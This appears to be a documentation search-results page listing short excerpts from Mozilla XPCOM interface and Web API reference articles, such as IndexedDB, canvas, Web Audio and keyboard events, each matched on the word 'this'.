widget/public/nsibidikeyboard.idlscriptable
this interface lets the application detect bidirectional writer users, and do some magic for them.
... note:
this throws ns_error_not_implemented if the widget layer doesn't provide
this information.
... currently,
this is only implemented on windows.
...And 4 more matches
nsIBlocklistService
xpcom/system/nsiblocklistservice.idlscriptable please add a summary to
this article.
...if
this parameter is null, the version of the running application is used.
...if
this parameter is null, the version of the running toolkit is used.
...And 4 more matches
nsICacheSession
listener, [optional] in boolean nowait); void evictentries(); prbool isstorageenabled(); nsicacheentrydescriptor opencacheentry(in acstring key, in nscacheaccessmode accessrequested, in boolean blockingmode); void doomentry(in acstring key, in nsicachelistener listener); attributes attribute type description doomentriesifexpired prbool expired entries will be doomed or evicted if
this attribute is set to true.
...
this attribute defaults to true.
... methods asyncopencacheentry()
this method gives an asynchronous cache access.
...And 4 more matches
nsIClipboardDragDropHookList
widget/public/nsiclipboarddragdrophooklist.idlscriptable
this interface is an internal gecko component.
... inherits from: nsisupports last changed in gecko 1.7 note:
this interface is not intended for direct use by embedders; it is an implementation detail.
...within gecko,
this interface is used by calling get_interface on a docshell.
...And 4 more matches
nsIContentSecurityPolicy
g acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra); short shouldprocess(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetype, in nsisupports aextra); attributes attribute type description allowseval boolean whether
this policy allows eval and eval-like functions such as settimeout("code string", time).
... calls to
this may trigger violation reports when queried, so
this value should not be cached.
... allowsinlinescript boolean whether
this policy allows in-page script.
...And 4 more matches
nsICookieManager
netwerk/cookie/nsicookiemanager.idlscriptable please add a summary to
this article.
... last changed in gecko 1.7 inherits from: nsisupports
this interface is intended to be used as a service.
... methods remove()
this method is called to remove an individual cookie from the cookie list, specified by host, name, and path.
...And 4 more matches
nsIDOMGeoGeolocation
dom/interfaces/geolocation/nsidomgeogeolocation.idlscriptable please add a summary to
this article.
...starting in gecko 1.9.2, you can access
this service using: var geolocation = components.classes["@mozilla.org/geolocation;1"] .getservice(components.interfaces.nsidomgeogeolocation); note: if nsidgeogeolocation throws an exception when importing, try using
this: var geolocation = components.classes["@mozilla.org/geolocation;1"] .getservice(components.interfaces.nsisupports); method overview void clearwatch(in unsigned short watchid); void getcurrentposition(in nsidomgeopositioncallback successcallback, [optional] in nsidomgeopositionerrorca...
...if
this fails, errorcallback is invoked with an nsidomgeopositionerror argument.
...And 4 more matches
nsIDOMNSHTMLDocument
dom/interfaces/html/nsidomnshtmldocument.idlscriptable
this interface defines methods and properties supported by gecko on the document object that are not part of dom level 2.
... doshowui
this is not implemented in gecko.
... execcommandshowhelp() obsolete since gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11)
this method never did anything but throw an exception, and was removed entirely in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11).
...And 4 more matches
nsIDOMProgressEvent
dom/interfaces/events/nsidomprogressevent.idlscriptable
this interface represents the events sent with progress information while uploading data using the xmlhttprequest object.
...
this implementation is a placeholder until the specification is complete, and is compatible with the webkit progressevent.
...
this doesn't include headers and other overhead, but only the content itself.
...And 4 more matches
nsIDOMWindowInternal
dom/interfaces/base/nsidomwindowinternal.idlscriptable
this interface is part of a chain of interfaces used to represent a window in the dom.
... 66 introduced gecko 1.0 deprecated gecko 8.0 inherits from: nsidomwindow last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) in gecko 8.0
this interface was merged into the nsidomwindow interface.
...
this interface no longer has any members; it exists solely to prevent add-ons that reference it from failing completely.
...And 4 more matches
nsIDOMXULLabeledControlElement
dom/interfaces/xul/nsidomxullabeledcontrolel.idlscriptable
this interface is used as a basis for labeled control elements in xul.
... inherits from: nsidomxulcontrolelement last changed in gecko 1.7 attributes attribute type description accesskey domstring
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label for the element.
...And 4 more matches
getFile
the individual platform implementation of nsidirectoryserviceprovider maps the symbolic path location passed to
this function and returns the appropriate nsifile.
... xpcom file system aliases apersistent [out]
this output parameter indicates to the caller whether or not the returned location is persistent.
... if true,
this lets the directory service cache results to improve the performance of directory lookups.
...And 4 more matches
nsIFeed
toolkit/components/feeds/public/nsifeed.idlscriptable
this interface represents a single atom or rss (really simple syndication) news feed.
... 1.0 66 introduced gecko 1.8 inherits from: nsifeedcontainer last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description cloud nsiwritablepropertybag2 the cloud element on a feed is used to identify the api endpoint of an rsscloud ping server, which distributes notifications of changes to
this feed.
...for example, to skip fetching on mondays, a feed that does not want to be fetched on mondays would specify "monday" in
this array.
...And 4 more matches
nsIHttpHeaderVisitor
netwerk/protocol/http/nsihttpheadervisitor.idlscriptable
this interface is used to view http request and response headers.
...
this method can throw an exception to terminate enumeration of the channel's headers.
... example
this example shows how to detect flash content.
...And 4 more matches
nsIMemoryMultiReporter
this will call the specified callback's nsimemorymultireportercallback.callback() method once for each report.
...
this will trigger any needed computation work.
... note:
this differs from the behavior of nsimemoryreporter, which lets all fields except amount be accessed without triggering computation.
...And 4 more matches
nsIMessageListenerManager
dom/base/nsimessagemanager.idlscriptable
this interface enables clients to listen for messages sent using the nsimessagebroadcaster, nsimessagesender, or nsisyncmessagesender interfaces.
...to access
this service, use: var globalmm = components.classes["@mozilla.org/globalmessagemanager;1"] .getservice(components.interfaces.nsimessagelistenermanager); method overview void addmessagelistener(in astring messagename, in nsimessagelistener listener, [optional] in boolean listenwhenclosed) void removemessagelistener(in astring messagename, in nsimessagelistener listener); void addweakmessagelistener(in astring messagename, ...
... listenwhenclosed specify true to receive messages during the short period after a frame has been removed from the dom and before its frame script has finished unloading;
this is false by default.
...And 4 more matches
nsIMicrosummary
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable
this interface defines attributes and methods for dealing with microsummaries generated by an nsimicrosummarygenerator.
...since generators and pages can be remote resources, and we need them to generate the content,
this may not always be available.
... generator nsimicrosummarygenerator the generator that generates
this microsummary.
...And 4 more matches
Building an Account Manager Extension
components.utils.import("resource://gre/modules/xpcomutils.jsm"); //class constructor function devmoaccountmanagerextension() {}; // class definition devmoaccountmanagerextension.prototype = { name : "devmo-account", chromepackagename : "example@mozilla.org", showpanel: function(server) { //
this panel is only shown for imap accounts...
... // define the contract information needed for
this component...
...the unique component identifier (change it if you copied
this example!)...
...And 4 more matches
nsIMsgDBView
note:
this return value does not appear to be implemented in the base implementation.
...note:
this is not implemented in the base implementation.
...
this is not used for all commands and will return the notused value most of the time.
...And 4 more matches
nsIMsgWindowCommands
mailnews/base/public/nsimsgwindow.idlscriptable
this interface defines methods used by the back end to update the user interface in a mail or news message list.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the javascript implementation of
this used by thunderbird is given here.
... method overview void selectfolder(in acstring folderuri); void selectmessage(in acstring messageuri); void clearmsgpane(); methods selectfolder()
this method is called by the backend to change the folder displayed in the message window.
...And 4 more matches
nsIParentalControlsService
toolkit/components/parentalcontrols/public/nsiparentalcontrolsservice.idlscriptable
this interface provides access to the operating system's parental controls feature, allowing code to detect whether such a service is enabled and to request overrides to bypass the feature.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: currently,
this interface is only supported on microsoft windows vista and newer as well as android 4.3 and newer.
...if
this is true, applications should log relevant events using log() method.
...And 4 more matches
nsIPrefBranch2
in gecko 13
this interface was merged into the nsiprefbranch interface.
...on preference changes, the following arguments will be passed to nsiobserver.observe(): asubject - the nsiprefbranch object (
this).
...
this can be the name of an entire branch to observe.
...And 4 more matches
nsIPrefLocalizedString
modules/libpref/public/nsipreflocalizedstring.idlscriptable
this interface is simply a wrapper interface for nsisupportsstring so the preferences service can have a unique identifier to distinguish between requests for normal wide strings nsisupportsstring) and 'localized' wide strings, which get their default values from properites files.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void setdatawithlength(in unsigned long length, [size_is(length)] in wstring data); wstring tostring(); attributes attribute type description data wstring provides access to string data stored in
this property.
... methods setdatawithlength() used to set the contents of
this object.
...And 4 more matches
nsIProtocolProxyFilter
netwerk/base/public/nsiprotocolproxyfilter.idlscriptable
this interface is used to apply filters to the proxies selected for a given uri.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0)
this interface is used to apply filters to the proxies selected for a given uri.
... use nsiprotocolproxyservice.registerfilter() to hook up instances of
this interface.
...And 4 more matches
nsISearchEngine
netwerk/base/public/nsibrowsersearchservice.idlscriptable please add a summary to
this article.
...when non-null,
this is a unique identifier.
...
this is a unique identifier.
...And 4 more matches
nsIStandardURL
netwerk/base/public/nsistandardurl.idlscriptable
this interface defines the interface to an url with the standard file path format common to protocols like http, ftp, and file.
...an instance, use: var standardurl = components.classes["@mozilla.org/network/standard-url;1"] .createinstance(components.interfaces.nsistandardurl); method overview void init(in unsigned long aurltype, in long adefaultport, in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description mutable boolean control whether or not
this url can be modified.
... protocol handlers can set
this flag before handing out an url to ensure that it is not inadvertently modified.
...And 4 more matches
nsIStreamListener
netwerk/base/public/nsistreamlistener.idlscriptable
this interface is used to listen to data being received on a stream.
... inherits from: nsirequestobserver last changed in gecko 1.0 classes which want to consume data from a nsichannel need to implement
this interface.
...method overview void ondataavailable(in nsirequest arequest, in nsisupports acontext, in nsiinputstream ainputstream, in unsigned long aoffset, in unsigned long acount); methods ondataavailable()
this method is called when the next chunk of data for the ongoing request may be read without blocking the calling thread.
...And 4 more matches
nsIStructuredCloneContainer
dom/interfaces/base/nsistructuredclonecontainer.idlscriptable
this interface acts as a container for an object serialized using the structured clone algorithm.
...method overview nsivariant deserializetovariant(); astring getdataasbase64(); void initfrombase64(in astring adata,in unsigned long aformatversion); void initfromvariant(in nsivariant adata); attributes attribute type description formatversion unsigned long get the version of the structured clone algorithm which was used to generate
this container's serialized buffer.
... serializednbytes unsigned long long get the size in bytes of
this container's serialized data.
...And 4 more matches
nsITaskbarPreview
widget/public/nsitaskbarpreview.idlscriptable
this interface is used on microsoft windows as a common interface for both window and tab taskbar previews.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can not directly instantiate
this interface.
... controller nsitaskbarpreviewcontroller the controller for
this preview.
...And 4 more matches
nsITaskbarWindowPreview
widget/public/nsitaskbarwindowpreview.idlscriptable
this interface is used on microsoft windows to represent the preview for a window in the taskbar.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarpreview last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate
this interface; instead, call nsiwintaskbar.gettaskbarwindowpreview() to get the taskbar preview for a specific window.
...
this interface's primary purpose is to let gecko applications take control over parts of the preview; however, certain parts of the preview are not controlled using
this interface.
...And 4 more matches
nsITransactionManager
editor/txmgr/idl/nsitransactionmanager.idlscriptable
this interface is implemented by an object that wants to manage/track transactions.
...
this is commonly referred to as the number of levels of undo.
...
this method will prune the necessary number of transactions on the undo and redo stacks if the value specified is less than the number of items that exist on both the undo and redo stacks.
...And 4 more matches
nsIWebProgress
the parent-child relationship of nsiwebprogress instances is not made explicit by
this interface, but the relationship may exist in some implementations.
... uriloader/base/nsiwebprogress.idlscriptable please add a summary to
this article.
... last changed in gecko 1.8.0 inherits from: nsisupports method overview void addprogresslistener(in nsiwebprogresslistener alistener, in unsigned long anotifymask); void removeprogresslistener(in nsiwebprogresslistener alistener); attributes attribute type description domwindow nsidomwindow the dom window associated with
this nsiwebprogress instance.
...And 4 more matches
nsIXMLHttpRequest
obsolete since gecko 60 (firefox 60 / thunderbird 60 / seamonkey 2.57)
this feature is obsolete.
...
this page contains documentation, specific to mozilla application and add-on developers.
...when using the xpcom interface, as seen below in example 2, we can get access to
this.
...And 4 more matches
nsIXSLTProcessor
void removeparameter(in domstring namespaceuri, in domstring localname); void reset(); void setparameter(in domstring namespaceuri, in domstring localname, in nsivariant value); nsidomdocument transformtodocument(in nsidomnode source); nsidomdocumentfragment transformtofragment(in nsidomnode source, in nsidomdocument output); methods clearparameters() removes all set parameters from
this nsixsltprocessor.
...
this will make the processor use the default-value for all parameters as specified in the stylesheet.
...importstylesheet() imports the specified stylesheet into
this xsltprocessor for transformations.
...And 4 more matches
XPCOM Interface Reference by grouping
using
this guide
this page lists the current (as of dec.
... 01, 2010) list of mozilla interfaces as listed on the xpcom interface reference page where that page lists items by alphabetical sorting,
this page attempts to group them by function.
...(i'm fully aware that
this will be a great point of discussion and probably will end in tears, but since i'm the first person to apparently take a swing at
this, i get first dibs.) the primary sections consist of: browser
this section contains elements associated with the view pane or the content of the "browser window" proper.
...And 4 more matches
NS_CStringContainerInit2
this parameter may be null.
...if adata is null, then
this parameter is ignored.
...if
this value is zero, then the array referenced by adata (if any) will be copied.
...And 4 more matches
Frequently Asked Questions
this section will help you if you're fixing a broken build, or have what you think is a quick obvious question, and you don't have time to read the reference manual.
...
this faq usually just refers back directly to the appropriate answer, there.
...[see initialization and assignment for more details] you should note, though, that there is a small performance penalty for
this.
...And 4 more matches
XPCOM tasks
warning: the content of
this article may be out of date.
...see bug 23737 work is progressing on
this.
... work is progressing on
this.
...And 4 more matches
libmime content type handlers
warning: the content of
this article may be out of date.
... a necessary capability of
this module is to dynamically add the ability to decode and render various content types.
...
this functionality will be accomplished via content type handler plugins for libmime.
...And 4 more matches
Using COM from js-ctypes
this started out with dynamic data exchange (dde), which was superseded by object linking and embedding (ole) and later by the component object model (com), automation objects, activex controls, and the .net framework.
...
this documentaion explains how to convert the com c++ code into js-ctypes code.
... basis and reference for
this article bugzilla :: bug 738501 - implement ability to create windows shortcuts from javascript - comment 4 relavent topic bugzilla :: bug 505907 - support c++ calling from jsctypes converting com code to c code to convert com code to js-ctypes, we need to write c++ vtable pointers in c.
...And 4 more matches
FunctionType
ctype functiontype( abi, returntype[, argtype1, ...] ); parameters abi the abi type for the function;
this is one of the abi constants.
... for primitive types,
this is just the name of the corresponding c type.
... for structure and opaque pointer types,
this is simply the string that was passed to the constructor.
...And 4 more matches
Int64
this may be specified as an integer (if the value can be represented as a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a hexadecimal number.
...
this will also be thrown if the source value is a floating-point number that can't be precisely represented as a 64-bit integer.
...
this is essentially num >> 32.
...And 4 more matches
UInt64
this may be specified as an integer (if the value can be represented as a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a hexadecimal number.
...
this will also be thrown if the source value is a floating-point number that can't be precisely represented as a 64-bit integer.
...
this is essentially num >> 32.
...And 4 more matches
CSS Grid Inspector: Examine grid layouts - Firefox Developer Tools
note: the examples shown in the screenshots appearing in
this article are jen simmons' futurismo and variations on a grid experiments, and a live named grid area example from rachel andrew.
...the above and below screenshots should give you further hints on how to get to
this.
... grid options the grid section of the layout view looks like
this: you'll see a number of options contained within: overlay grid: contains a checkbox for each grid present on the page, along with various options.
...And 4 more matches
AesGcmParams - Web APIs
for details of how to supply appropriate values for
this parameter, see the specification for aes-gcm: nist sp800-38d, in particular section 5.2.1.1 on input data.
...
this should be set to aes-gcm.
...
this must be unique for every encryption operation carried out with a given key.
...And 4 more matches
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
it's sensible to set
this to a value between 0 and the duration of the buffer.
...
this attribute is converted to an exact sample frame offset within the buffer, by multiplying by the buffer's sample rate and rounding to the nearest integer value.
...it's sensible to set
this to a value between 0 and the duration of the buffer.
...And 4 more matches
AudioParam.value - Web APIs
the web audio api's audioparam interface property value gets or sets the value of
this audioparam at the current time.
...
this value will be between the values specified by the minvalue and maxvalue properties.
... consider
this example: const source = new audiobuffersourcenode(...); const rate = 5.3; source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); the log output will be false, because the playback rate parameter, rate, was converted to the 32-bit floating-point number closest to 5.3, which yields 5.300000190734863.
...And 4 more matches
AudioWorkletProcessor.process - Web APIs
this size may even be allowed to change over time, so you mustn't look at just the first block and assume the sample buffers will always be the same size.
...an example of a node with
this behaviour is the gainnode.
... a node that transforms its input, but has a so-called tail-time —
this means that it will produce an output for some time even after its inputs are disconnected or are inactive (producing zero-channels).
...And 4 more matches
AuthenticatorAssertionResponse.authenticatorData - Web APIs
the server will ensure that
this hash matches a hash of its own origin in order to prevent phishing or other man-in-the-middle attacks.
... bit 6, attested credential data (at) - if set, attestedcredentialdata will immediately follow the first 37 bytes of
this authenticatordata.
...the server will use
this counter to detect authenticator cloning.
...And 4 more matches
BaseAudioContext.createScriptProcessor() - Web APIs
note: as of the august 29 2014 web audio api spec publication,
this feature has been marked as deprecated, and was replaced by audioworklet (see audioworkletnode).
...
this value controls how frequently the audioprocess event is dispatched and how many sample-frames need to be processed each call.
...it is recommended for authors to not specify
this buffer size and allow the implementation to pick a good buffer size to balance between latency and audio quality.
...And 4 more matches
BaseAudioContext.decodeAudioData() - Web APIs
in
this case the arraybuffer is loaded from xmlhttprequest and filereader.
...
this is the preferred method of creating an audio source for web audio api from an audio track.
...
this method only works on complete file data, not fragments of audio file data.
...And 4 more matches
BiquadFilterNode() - Web APIs
the meaning of the other options depends on the value of
this one.
...
this is a standard second-order resonant lowpass filter with 12db/octave rolloff.
...please note that for
this filter type,
this value is not a traditional q, but is a resonance value in decibels.
...And 4 more matches
Using dynamic styling information - Web APIs
note also that, as with individual element's dom styles, when speaking of manipulating the stylesheets,
this is not actually manipulating the physical document(s), but merely the internal representation of the document.
...however,
this property only returns style attributes that have been set in-line (e.g, <td style="background-color: lightblue"> returns the string "background-color:lightblue", or directly for that element using element.style.propertyname, even though there may be other styles on the element from a stylesheet).
... also, when you set
this property on an element, you override any styles that have been set elsewhere for that element's particular property you are setting.
...And 4 more matches
CanvasRenderingContext2D.arcTo() - Web APIs
this method is commonly used for making rounded corners.
...without arcto(), these two segments would form a sharp corner: arcto() creates a circular arc that fits
this corner and smooths is out.
...lack'; ctx.linewidth = 5; ctx.moveto(200, 20); ctx.arcto(200,130, 50,20, 40); ctx.stroke(); // start point ctx.beginpath(); ctx.fillstyle = 'blue'; ctx.arc(200, 20, 5, 0, 2 * math.pi); ctx.fill(); // control points ctx.beginpath(); ctx.fillstyle = 'red'; ctx.arc(200, 130, 5, 0, 2 * math.pi); // control point one ctx.arc(50, 20, 5, 0, 2 * math.pi); // control point two ctx.fill(); result in
this example, the path created by arcto() is thick and black.
...And 4 more matches
CanvasRenderingContext2D.fillText() - Web APIs
this method draws directly to the canvas without modifying the current path, so any subsequent fill() or stroke() calls will have no effect on it.
...however, if
this value is provided, the user agent will adjust the kerning, select a more horizontally condensed font (if one is available or can be generated without loss of quality), or scale down to a smaller font size in order to fit the text in the specified width.
... examples drawing filled text
this example writes the words "hello world" using the filltext() method.
...And 4 more matches
CanvasRenderingContext2D.strokeText() - Web APIs
this method draws directly to the canvas without modifying the current path, so any subsequent fill() or stroke() calls will have no effect on it.
...however, if
this value is provided, the user agent will adjust the kerning, select a more horizontally condensed font (if one is available or can be generated without loss of quality), or scale down to a smaller font size in order to fit the text in the specified width.
... examples drawing text outlines
this example writes the words "hello world" using the stroketext() method.
...And 4 more matches
Optimizing canvas - Web APIs
this article provides suggestions for optimizing your use of the canvas element to ensure that your graphics perform well.
... ctx.drawimage(myimage, 0.3, 0.5);
this forces the browser to do extra calculations to create the anti-aliasing effect.
... to avoid
this, make sure to round all co-ordinates used in calls to drawimage() using math.floor(), for example.
...And 4 more matches
DOMHighResTimeStamp - Web APIs
this type can be used to describe a discrete point in time or a time interval (the difference in time between two discrete points in time).
... properties
this type has no properties.
...it's calculated like
this: if the script's global object is a window, the time origin is determined as follows: if the current document is the first one loaded in the window, the time origin is the time at which the browser context was created.
...And 4 more matches
DOMMatrix - Web APIs
this interface should be available inside web workers, though some implementations don't allow it yet.
... properties
this interface inherits properties from dommatrixreadonly, though some of these properties are altered to be mutable.
... 2d 3d equivalent a m11 b m12 c m21 d m22 e m41 f m42 methods
this interface includes the following methods, as well as the methods it inherits from dommatrixreadonly.
...And 4 more matches
DOMMatrixReadOnly - Web APIs
this interface should be available inside web workers, though some implementations doesn't allow it yet.
... properties
this interface doesn't inherit any properties.
... 2d 3d equivalent a m11 b m12 c m21 d m22 e m41 f m42 methods
this interface doesn't inherit any methods.
...And 4 more matches
Document.createNodeIterator() - Web APIs
this is meaningful only when creating a treewalker with an attr node as its root.
... in
this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...
this is meaningful only when creating a treewalker with an entity node as its root; in
this case, it means that the entity node will appear in the first position of the traversal.
...And 4 more matches
Document.visibilityState - Web APIs
the document.visibilitystate read-only property returns the visibility of the document, that is in which context
this element is now visible.
...in practice
this means that the page is the foreground tab of a non-minimized window.
...in practice
this means that the document is either a background tab or part of a minimized window, or the os screen lock is active.
...And 4 more matches
Event.eventPhase - Web APIs
constant value description event.none 0 no event is being processed at
this time.
...
this process starts with the window, then document, then the htmlhtmlelement, and so on through the elements until the target's parent is reached.
... event listeners registered for capture mode when eventtarget.addeventlistener() was called are triggered during
this phase.
...And 4 more matches
FileSystemFlags - Web APIs
methods which accept an options parameter of
this type may specify zero or more of these flags as fields in an object, like
this: datadirectoryentry.getdirectory("workspace", { create: true }, function(entry) { }); here, we see that the create property is provided, with a value of true, indicating that the directory should be created if it's not already there.
... properties create optional if
this property is true, and the requested file or directory doesn't exist, the user agent should create it.
... browser compatibility the compatibility table on
this page is generated from structured data.
...And 4 more matches
Frame Timing API - Web APIs
this means the browser should process a frame in about 16.7 ms.
...
this data can be used to help identify areas that take too long to provide a good user experience.
... example code of the interfaces described in
this document is included in using the frame timing api.
...And 4 more matches
HTMLCanvasElement.getContext() - Web APIs
later calls to
this method on the same canvas element return the same drawing context instance as was returned the last time the method was invoked with the same contexttype argument.
...
this context is only available on browsers that implement webgl version 1 (opengl es 2.0).
...
this context is only available on browsers that implement webgl version 2 (opengl es 3.0).
...And 4 more matches
HTMLFieldSetElement - Web APIs
htmlfieldsetelement.elementsread only the elements belonging to
this field set.
... the type of
this property depends on the version of the spec that is implemented by the browser.
... htmlfieldsetelement.formread only an htmlformcontrolscollection or htmlcollection referencing the containing form element, if
this element is in a form.
...And 4 more matches
HTMLImageElement.naturalHeight - Web APIs
this is the height the image is if drawn with nothing constraining its height; if you don't specify a height for the image, or place the image inside a container that either limits or expressly specifies the image height, it will be rendered
this tall.
...
this is the height at which the image is naturally drawn when no constraint or specific value is established for the image.
...
this natural height is corrected for the pixel density of the device on which it's being presented, unlike height.
...And 4 more matches
HTMLImageElement.naturalWidth - Web APIs
this is the width the image is if drawn with nothing constraining its width; if you neither specify a width for the image nor place the image inside a container that limits or expressly specifies the image width,
this is the number of css pixels wide the image will be.
...
this is the width at which the image is naturally drawn when no constraint or specific value is established for the image.
...
this natural width is corrected for the pixel density of the device on which it's being presented, unlike the value of width.
...And 4 more matches
HTMLSlotElement.name - Web APIs
let slots =
this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents changed in the example.
... living standard browser compatibility the compatibility table on
this page is generated from structured data.
...ng internetname experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled from version 59 until version 63 (exclusive):
this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
...And 4 more matches
File drag and drop - Web APIs
this document describes how an application can accept one or more files that are dragged from the underlying platform's file manager and dropped on a web page.
...
this example illustrates the use of both apis (and does not use any gecko specific interfaces).
...the following code snippet shows how
this is done with a <div> element: <div id="drop_zone" ondrop="drophandler(event);"> <p>drag one or more files to
this drop zone ...</p> </div> typically, an application will include a dragover event handler on the drop target element and that handler will turn off the browser's default drag behavior.
...And 4 more matches
History.pushState() - Web APIs
if you pass a state object whose serialized representation is larger than
this to pushstate(), the method will throw an exception.
... if you need more space than
this, you're encouraged to use sessionstorage and/or localstorage.
... title most browsers currently ignore
this parameter, although they may use it in the future.
...And 4 more matches
IDBCursor.update() - Web APIs
note:
this feature is available in web workers.
... return value an idbrequest object on which subsequent events related to
this operation are fired.
... exceptions
this method may raise a domexception of one of the following types: exception description transactioninactiveerror
this idbcursor's transaction is inactive.
...And 4 more matches
IDBCursor - Web APIs
note:
this feature is available in web workers.
...
this function never returns null or throws an exception, even if the cursor is currently being iterated, has iterated past its end, or its transaction is not active.
...if the cursor is outside its range,
this is set to undefined.
...And 4 more matches
IDBDatabase.transaction() - Web APIs
note:
this feature is available in web workers.
...you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the complete event by creating a transaction using the experimental (non-standard) readwriteflush mode (see idbdatabase.transaction.)
this is currently experimental, and can only be used if the dom.indexeddb.experimental pref is set to true in about:config.
... exceptions
this method may raise a domexception of one of the following types: exception description invalidstateerror the close() method has previously been called on
this idbdatabase instance.
...And 4 more matches
IDBDatabase - Web APIs
note:
this feature is available in web workers.
...when a database is first created,
this attribute is an empty string.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
...And 4 more matches
IDBFactory.open() - Web APIs
if the operation is successful, a success event is fired on the request object that is returned from
this method, with its result attribute set to the new idbdatabase object for the connection.
... if an error occurs while the database connection is being opened, then an error event is fired on the request object returned from
this method.
... note:
this feature is available in web workers.
...And 4 more matches
IDBIndex.get() - Web APIs
if a value is found, then a structured clone of it is created and set as the result of the request object:
this returns the record the key is associated with.
... note:
this feature is available in web workers.
...if
this value is null or missing, the browser will use an unbound key range.
...And 4 more matches
IDBObjectStore.add() - Web APIs
this is for adding new records to an object store.
... note:
this feature is available in web workers.
... returns an idbrequest object on which subsequent events related to
this operation are fired.
...And 4 more matches
IDBTransaction.abort() - Web APIs
the abort() method of the idbtransaction interface rolls back all the changes to objects in the database associated with
this transaction.
... all pending idbrequest objects created during
this transaction have their idbrequest.error attribute set to aborterror.
... note:
this feature is available in web workers.
...And 4 more matches
IDBTransaction.mode - Web APIs
note:
this feature is available in web workers.
...
this mode is for updating the version number of transactions that were started using idbdatabase.setversion().
... transactions of
this mode cannot run concurrently with other transactions.
...And 4 more matches
compareVersion - Web APIs
parts of
this page show the use of the xpinstall api.
... the majority of
this api is now deprecated and as of gecko 1.9 no longer available.
...
this parameter can be an absolute pathname, such as /royalairways/royalsw or a relative pathname, such as plugsin/royalairway/royalsw.
...And 4 more matches
KeyboardEvent.code - Web APIs
in other words,
this property returns a value that isn't altered by keyboard layout or the state of the modifier keys.
...
this property is useful when you want to handle keys based on their physical positions on the input device rather than the characters associated with those keys;
this is especially common when writing code to handle input for games that simulate a gamepad-like environment using keys on the keyboard.
... handle keyboard events in a game
this example establishes an event listener for keydown events that handle keyboard input for a game that uses the typical "wasd" keyboard layout for steering forward, left, backward, and right.
...And 4 more matches
KeyboardEvent.getModifierState() - Web APIs
this is case-sensitive.
...fn key on mac keyboard doesn't cause
this active.
...d key pressed "numlock" during led for num lock turned on a key on numpad pressed not supported while numlock is locked "os" ⊞ windows logo key pressed super key or hyper key pressed (typically, mapped to ⊞ windows logo key) not supported "scrolllock" during led for scroll lock turned on during led for scroll lock turned on, but typically
this isn't supported by platform not supported while scrolllock is locked "shift" ⇧ shift key pressed "super" not supported "symbol" not supported "symbollock" not supported on the other platforms, "alt", "control" and "shift" may be supported.
...And 4 more matches
KeyboardEvent.initKeyEvent() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...events initialized in
this way must have been created with the document.createevent("keyboardevent") method.
... do not use
this method anymore, use the keyboardevent() constructor instead.
...And 4 more matches
KeyframeEffect.getKeyframes() - Web APIs
the getkeyframes() method of a keyframeeffect returns an array of the computed keyframes that make up
this animation along with their computed offsets.
...
this is equivalent to specifying start and end states in percentages in css stylesheets using @keyframes.
...
this will be null if the keyframe is automatically spaced using keyframeeffect.spacing.
...And 4 more matches
MSGestureEvent - Web APIs
events using
this interface include msgesturestart, msgestureend, msgesturetap, msgesturehold, msgesturechange, and msinertiastart.
... properties
this interface also inherits properties of its parents, uievent and event.
... msgestureevent.gestureobject read only returns the msgesture object for
this gesture event.
...And 4 more matches
MediaError.message - Web APIs
this is not simply a generic description of the mediaerror.code property's value, but instead goes deeper into the specifics of
this particular error and its circumstances.
... if no specific details are available,
this string is empty.
... example
this example creates a <audio> element, establishes an error handler for it, then lets the user click buttons to choose whether to assign a valid audio file or a missing file to the element's src attribute.
...And 4 more matches
MediaTrackConstraints.cursor - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.cursor as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... for example, if your app needs to alter the stream by inserting a representation of the cursor position if the stream doesn't include the rendered cursor, you can determine the need to do so by using code like
this: let insertfakecursorflag = false; if (displaystream.getvideotracks()[0].getsettings().cursor === "never") { insertfakecursorflag = true; } following
this code, insertfakecursorflag is true if there's no cursor rendered into the stream already.
...And 4 more matches
MediaTrackSupportedConstraints.frameRate - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
...checking the value of
this property lets you determine if the user agent allows constraining the video track configuration by frame rate.
... see the example to see how
this can be used.
...And 4 more matches
